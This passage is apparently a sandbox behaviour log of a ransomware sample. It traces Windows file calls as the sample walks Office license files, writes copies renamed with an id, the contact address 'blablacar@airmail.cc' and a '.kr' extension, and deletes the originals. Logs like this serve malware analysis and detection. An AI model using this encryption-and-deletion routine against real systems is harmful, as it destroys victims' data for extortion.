(lpString1=".xls", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString=".xlsx") returned 5 [0202.435] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.435] lstrlenW (lpString=".ppt") returned 4 [0202.435] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.435] lstrlenW (lpString=".zip") returned 4 [0202.435] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString=".rar") returned 4 [0202.435] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString=".bz2") returned 4 [0202.435] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString=".7z") returned 3 [0202.435] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.435] lstrlenW (lpString=".dbf") returned 4 [0202.435] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.435] lstrlenW (lpString=".1cd") returned 4 [0202.435] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0202.435] lstrlenW (lpString=".jpg") returned 4 [0202.435] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.435] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.435] lstrlenW (lpString="O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 41 [0202.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.437] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11651) returned 1 [0202.437] CloseHandle (hObject=0x558) returned 1 [0202.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0202.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.437] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.438] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.438] GetLastError () returned 0x0 [0202.438] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0202.693] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0202.694] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.695] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x126, lpOverlapped=0x0) returned 1 [0202.695] SetEndOfFile (hFile=0x534) returned 1 [0202.695] CloseHandle (hObject=0x534) returned 1 [0202.695] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.695] SetEndOfFile (hFile=0x558) returned 1 [0202.702] CloseHandle (hObject=0x558) returned 1 [0202.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 1 [0202.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.703] lstrlenW (lpString=".doc") returned 4 [0202.703] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.703] lstrlenW (lpString=".docx") returned 5 [0202.703] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.704] lstrlenW (lpString=".pdf") returned 4 [0202.704] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString=".xls") returned 4 [0202.704] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString=".xlsx") returned 5 [0202.704] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.704] lstrlenW (lpString=".ppt") returned 4 [0202.704] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.704] lstrlenW (lpString=".zip") returned 4 [0202.704] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString=".rar") returned 4 [0202.704] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString=".bz2") returned 4 [0202.704] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString=".7z") returned 3 [0202.704] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.704] lstrlenW (lpString=".dbf") returned 4 [0202.704] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.704] lstrlenW (lpString=".1cd") returned 4 [0202.704] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.704] lstrlenW (lpString=".jpg") returned 4 [0202.704] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.704] lstrlenW (lpString=".doc") returned 4 [0202.704] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.704] lstrlenW (lpString=".docx") returned 5 [0202.704] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.704] lstrlenW (lpString=".pdf") returned 4 [0202.704] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.705] lstrlenW (lpString=".xls") returned 4 [0202.705] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.705] lstrlenW (lpString=".xlsx") returned 5 [0202.705] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.705] lstrlenW (lpString=".ppt") returned 4 [0202.705] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.705] lstrlenW (lpString=".zip") returned 4 [0202.705] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.705] lstrlenW (lpString=".rar") returned 4 [0202.705] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.705] lstrlenW (lpString=".bz2") returned 4 [0202.705] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.705] lstrlenW (lpString=".7z") returned 3 [0202.705] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.705] lstrlenW (lpString=".dbf") returned 4 [0202.705] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.705] lstrlenW (lpString=".1cd") returned 4 [0202.705] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91 [0202.705] lstrlenW (lpString=".jpg") returned 4 [0202.705] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.705] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.705] lstrlenW (lpString="O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 36 [0202.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.706] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11630) returned 1 [0202.706] CloseHandle (hObject=0x558) returned 1 [0202.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 0x220 [0202.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.707] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.707] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.708] GetLastError () returned 0x0 [0202.708] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0202.710] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0202.711] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.711] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0202.711] SetEndOfFile (hFile=0x534) returned 1 [0202.711] CloseHandle (hObject=0x534) returned 1 [0202.711] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.711] SetEndOfFile (hFile=0x558) returned 1 [0202.714] CloseHandle (hObject=0x558) returned 1 [0202.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 1 [0202.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.715] lstrlenW (lpString=".doc") returned 4 [0202.715] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.715] lstrlenW (lpString=".docx") returned 5 [0202.715] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.715] lstrlenW (lpString=".pdf") returned 4 [0202.715] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.715] lstrlenW (lpString=".xls") returned 4 [0202.715] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.715] lstrlenW (lpString=".xlsx") returned 5 [0202.715] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.715] lstrlenW (lpString=".ppt") returned 4 [0202.715] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.715] lstrlenW (lpString=".zip") returned 4 [0202.715] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.715] lstrlenW (lpString=".rar") returned 4 [0202.715] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString=".bz2") returned 4 [0202.716] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString=".7z") returned 3 [0202.716] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.716] lstrlenW (lpString=".dbf") returned 4 [0202.716] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.716] lstrlenW (lpString=".1cd") returned 4 [0202.716] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.716] lstrlenW (lpString=".jpg") returned 4 [0202.716] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.716] lstrlenW (lpString=".doc") returned 4 [0202.716] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString=".docx") returned 5 [0202.716] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.716] lstrlenW (lpString=".pdf") returned 4 [0202.716] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString=".xls") returned 4 [0202.716] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString=".xlsx") returned 5 [0202.716] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.716] lstrlenW (lpString=".ppt") returned 4 [0202.716] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.716] lstrlenW (lpString=".zip") returned 4 [0202.716] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString=".rar") returned 4 [0202.716] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.716] lstrlenW (lpString=".bz2") returned 4 [0202.717] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.717] lstrlenW (lpString=".7z") returned 3 [0202.717] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.717] lstrlenW (lpString=".dbf") returned 4 [0202.717] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.717] lstrlenW (lpString=".1cd") returned 4 [0202.717] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0202.717] lstrlenW (lpString=".jpg") returned 4 [0202.717] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.717] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.717] lstrlenW (lpString="O365HomePremR_SubTest2-pl.xrm-ms") returned 32 [0202.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.718] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11179) returned 1 [0202.718] CloseHandle (hObject=0x558) returned 1 [0202.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 0x220 [0202.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.718] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.718] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.719] GetLastError () returned 0x0 [0202.719] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0202.721] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0202.722] ReadFile (in: hFile=0x558, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.722] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0202.722] SetEndOfFile (hFile=0x534) returned 1 [0202.722] CloseHandle (hObject=0x534) returned 1 [0202.722] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.722] SetEndOfFile (hFile=0x558) returned 1 [0202.726] CloseHandle (hObject=0x558) returned 1 [0202.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 1 [0202.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.727] lstrlenW (lpString=".doc") returned 4 [0202.727] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.727] lstrlenW (lpString=".docx") returned 5 [0202.727] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.727] lstrlenW (lpString=".pdf") returned 4 [0202.727] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.727] lstrlenW (lpString=".xls") returned 4 [0202.727] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.727] lstrlenW (lpString=".xlsx") returned 5 [0202.727] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.727] lstrlenW (lpString=".ppt") returned 4 [0202.727] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.727] lstrlenW (lpString=".zip") returned 4 [0202.727] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString=".rar") returned 4 [0202.728] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString=".bz2") returned 4 [0202.728] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString=".7z") returned 3 [0202.728] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.728] lstrlenW (lpString=".dbf") returned 4 [0202.728] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.728] lstrlenW (lpString=".1cd") returned 4 [0202.728] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0202.728] lstrlenW (lpString=".jpg") returned 4 [0202.728] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.728] lstrlenW (lpString="C:\\Program 